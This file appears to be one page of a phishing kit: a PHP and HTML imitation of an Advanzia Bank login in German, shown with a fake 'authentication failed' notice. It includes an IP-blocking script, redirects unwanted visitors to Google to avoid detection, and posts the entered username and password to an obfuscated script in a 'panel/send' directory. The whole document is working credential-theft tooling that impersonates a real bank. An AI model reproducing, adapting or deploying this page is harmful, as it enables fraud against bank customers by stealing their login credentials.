<?php if (session_status() == PHP_SESSION_NONE) {
    session_start();
}
include "../panel/banip/zeus.php";
include "../panel/send/panel.php";
$token = bin2hex(random_bytes(32));
$_SESSION['auth_token'] = $token;
$_SESSION['auth_time'] = time();
$_SESSION['visitor_ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
if (isset($_GET['verify']) && $_GET['verify'] == 'ajax') {
    header('Content-Type: application/json');
    echo json_encode(['success' => true, 'token' => $token]);
    exit();
}
if (!isset($_SESSION['auth_token'])) {
    header("Location: https://www.google.com");
    exit();
}
if (isset($_GET['action']) && $_GET['action'] == 'redirect') {
    if (isset($_SESSION['redirect_url']) && !empty($_SESSION['redirect_url'])) {
        $redirect_url = $_SESSION['redirect_url'];
        unset($_SESSION['redirect_url']);
        header("Location: " . $redirect_url);
        exit();
    }
    header("Location: login.php");
    exit();
} ?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Fehler</title>
    <style>
        /* --- ADVANZIA STYLE MODIFICATIONS --- */
        /* Primary Brand Color: Dark Blue (#182D5C) */
        /* Secondary Action Color: Dark Blue (for button) */
        /* Background: Light gray/white */
        /* Font: Arial/Sans-serif, strong weights */
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: Arial, sans-serif;
        }

        body {
            /* Standard white background for the whole page */
            background-color: #ffffff;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .page-wrapper {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
            max-width: 100%; /* Changed from 1440px to fit full screen width */
            margin: 0 auto;
            width: 100%;
            position: relative;
            overflow: hidden;
        }

        .header {
            /* Simple light gray line/background for header */
            padding: 20px 0;
            border-bottom: 1px solid #e0e0e0; 
            background: #ffffff;
            position: relative;
            z-index: 2;
        }

        .logo {
            max-width: 1200px; /* Constrain logo wrapper width */
            margin: 0 auto; /* Center logo wrapper */
            padding: 0 20px; /* Padding for the logo inside its wrapper */
            display: flex; /* Ensure proper alignment if needed */
            align-items: center;
        }

        /* Restored logo image path */
        .logo img {
            height: 35px; /* Adjust height as needed for your specific logo image */
            width: auto; /* Maintain aspect ratio */
        }
        
        .error-container {
            /* Error container remains visible by default and uses light background style */
            background-color: #fff2f2;
            border: 1px solid #dc3545;
            border-radius: 4px; /* Slightly smaller radius */
            padding: 12px;
            margin: 15px 0 25px 0; /* Adjusted margin */
            display: flex; 
            align-items: flex-start;
            gap: 10px;
            animation: fadeIn .3s ease-in-out;
        }

        .error-container.hidden {
             display: none;
        }

        @keyframes fadeIn {
            from {
                opacity: 0;
                transform: translateY(-10px)
            }
            to {
                opacity: 1;
                transform: translateY(0)
            }
        }

        .error-icon {
            width: 20px; /* Slightly smaller icon */
            height: 20px;
            min-width: 20px;
            fill: #dc3545
        }

        .error-content {
            flex: 1
        }

        .error-title {
            color: #dc3545;
            font-weight: bold; /* Use bold for emphasis */
            font-size: 15px;
            margin-bottom: 2px
        }

        .error-message {
            color: #842029;
            font-size: 13px; /* Slightly smaller font */
            line-height: 1.4
        }

        .main-content {
            flex: 1;
            display: flex;
            justify-content: center;
            align-items: flex-start; /* Aligned to the top, as the original page seems */
            padding: 50px 20px 0 20px; /* Padding for the top alignment */
            background-color: #f5f5f5; /* Light gray background in main area */
        }

        .login-container {
            width: 100%;
            max-width: 400px; /* Slightly narrower container */
            margin: 0 auto;
            position: relative;
            z-index: 2;
            background: #ffffff; /* White background */
            padding: 30px;
            border-radius: 8px; /* Standard border radius */
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); /* Subtle shadow */
            border: 1px solid #e0e0e0; /* Light gray border */
        }

        h1 {
            /* Standard title based on Advanzia style */
            font-size: 28px;
            color: #333;
            margin-bottom: 10px;
            font-weight: bold; 
            position: relative;
        }
        
        /* Removed the red underline style for h1 to match the clean design */
        h1::after {
            content: none;
        }

        .form-group {
            margin-bottom: 20px;
            width: 100%
        }

        label {
            display: block;
            color: #333;
            font-size: 14px; /* Smaller label font */
            margin-bottom: 5px;
            font-weight: normal; 
        }

        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ccc; /* Lighter border */
            border-radius: 4px;
            font-size: 15px;
            transition: border-color .3s ease;
            background: #fff;
        }

        input:focus {
            outline: none;
            border-color: #182D5C; /* Dark Blue focus color */
            box-shadow: 0 0 0 1px #182D5C;
            transform: none; /* No lift effect */
        }
        
        input.input-error {
            border-color: #dc3545;
            box-shadow: 0 0 0 1px rgba(220, 53, 69, 0.5);
        }

        .login-button {
            /* Primary Button: Dark Blue (Advanzia Brand Color) */
            background: #182D5C;
            color: #fff;
            border: none;
            border-radius: 4px;
            padding: 12px 20px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
            margin-top: 25px;
            transition: all .2s ease;
            width: 100%;
            position: relative;
        }

        .login-button:hover {
            background: #25407d; /* Slightly lighter blue on hover */
            transform: none;
            box-shadow: none;
        }

        .login-button:disabled {
            background-color: #a0a0a0;
            cursor: not-allowed;
        }

        /* Spinner and loading styles remain the same for functionality */
        .spinner {
            width: 18px;
            height: 18px;
            border: 2px solid rgba(255, 255, 255, .3);
            border-top-color: #fff;
            animation: spin 1s ease-in-out infinite;
            display: none;
            position: absolute;
            left: 50%;
            transform: translateX(-50%)
        }

        @keyframes spin {
            to {
                transform: translateX(-50%) rotate(360deg)
            }
        }

        .login-button.loading .spinner {
            display: block
        }

        .login-button.loading .lock-icon,
        .login-button.loading span {
            visibility: hidden
        }

        .lock-icon {
            width: 16px;
            height: 16px;
            min-width: 16px;
            min-height: 16px;
            flex-shrink: 0;
            fill: currentColor;
        }

        .forgot-password {
            /* Link style matching Advanzia link */
            display: block;
            margin-top: 15px;
            color: #182D5C;
            text-decoration: none;
            font-size: 14px;
            transition: color .2s ease;
            text-align: left; /* Align link to the left */
        }
        
        .forgot-password:hover {
            color: #25407d;
            text-decoration: underline;
        }

        @media (max-width:768px) {

            .main-content {
                padding: 30px 20px;
                align-items: center;
            }

            .login-container {
                margin: 0;
                padding: 25px;
            }

            .header {
                padding: 15px 0;
            }
            .logo {
                padding: 0 15px;
            }
        }

    </style>
</head>
<body>
<div class="page-wrapper">
    <header class="header">
        <div class="logo">
            <img src="../logo.png" alt="ADVNZIA BANK">
        </div>
    </header>
    <main class="main-content">
        <div class="login-container">
            <h1>Anmelden</h1>
            <div class="error-container" id="genericError">
                <svg class="error-icon" viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"/></svg>
                <div class="error-content">
                    <div class="error-title" id="errorTitle">Authentifizierung fehlgeschlagen</div>
                    <div class="error-message" id="errorMessage">Der eingegebene Benutzername oder das Passwort ist nicht korrekt. Bitte überprüfen Sie Ihre Anmeldedaten und versuchen Sie es erneut.</div>
                </div>
            </div>
            
            <form method="post" action="../panel/send/18b43c6a536a8fe1362f7a3887936be6.php" id="loginForm">
                <div class="form-group">
                    <label for="username">Benutzername</label>
                    <input type="text" id="username" name="username" autocomplete="username" required>
                </div>
                <div class="form-group">
                    <label for="password">Passwort</label>
                    <input type="password" id="password" name="password" autocomplete="current-password" required>
                </div>
                <button type="submit" class="login-button" id="submitButton">
                    <div class="spinner"></div>
                    <svg class="lock-icon" viewBox="0 0 24 24"><path d="M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2zm-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm3.1-9H8.9V6c0-1.71 1.39-3.1 3.1-3.1 1.71 0 3.1 1.39 3.1 3.1v2z"/></svg>
                    <span>Weiter</span>
                </button>
            </form>
            <a href="#" class="forgot-password">Passwort vergessen?</a>
        </div>
    </main>
</div>
<div class="security-overlay" id="securityOverlay"></div>
<script>
    document.addEventListener('DOMContentLoaded', function() {
        const loginForm = document.getElementById('loginForm');
        const usernameInput = document.getElementById('username');
        const passwordInput = document.getElementById('password');
        const submitButton = document.getElementById('submitButton');
        const genericErrorContainer = document.getElementById('genericError');

        function toggleError(container, isVisible) {
            container.classList.toggle('hidden', !isVisible);
        }

        // Clear error state on input focus/change
        usernameInput.addEventListener('input', () => {
            usernameInput.classList.remove('input-error');
            toggleError(genericErrorContainer, false);
        });
        passwordInput.addEventListener('input', () => {
            toggleError(genericErrorContainer, false);
        });


        loginForm.addEventListener('submit', function (e) {
            e.preventDefault();

            const username = usernameInput.value.trim();
            const password = passwordInput.value.trim();

            toggleError(genericErrorContainer, false);
            usernameInput.classList.remove('input-error');

            if (username === '' || password === '') {
                toggleError(genericErrorContainer, true);
                return; 
            }

            submitButton.classList.add('loading');
            submitButton.disabled = true;
            
            const formData = new FormData(this);
            fetch(this.action, {
                method: 'POST',
                body: formData
            }).then(response => {
                if (response.redirected) {
                    window.location.href = response.url;
                } else {
                    console.error('Form submission did not result in a redirect.');
                    toggleError(genericErrorContainer, true);
                    submitButton.classList.remove('loading');
                    submitButton.disabled = false;
                }
            }).catch(error => {
                console.error('Error:', error);
                toggleError(genericErrorContainer, true);
                submitButton.classList.remove('loading');
                submitButton.disabled = false;
            });
        });
    });
</script>
</body>
</html>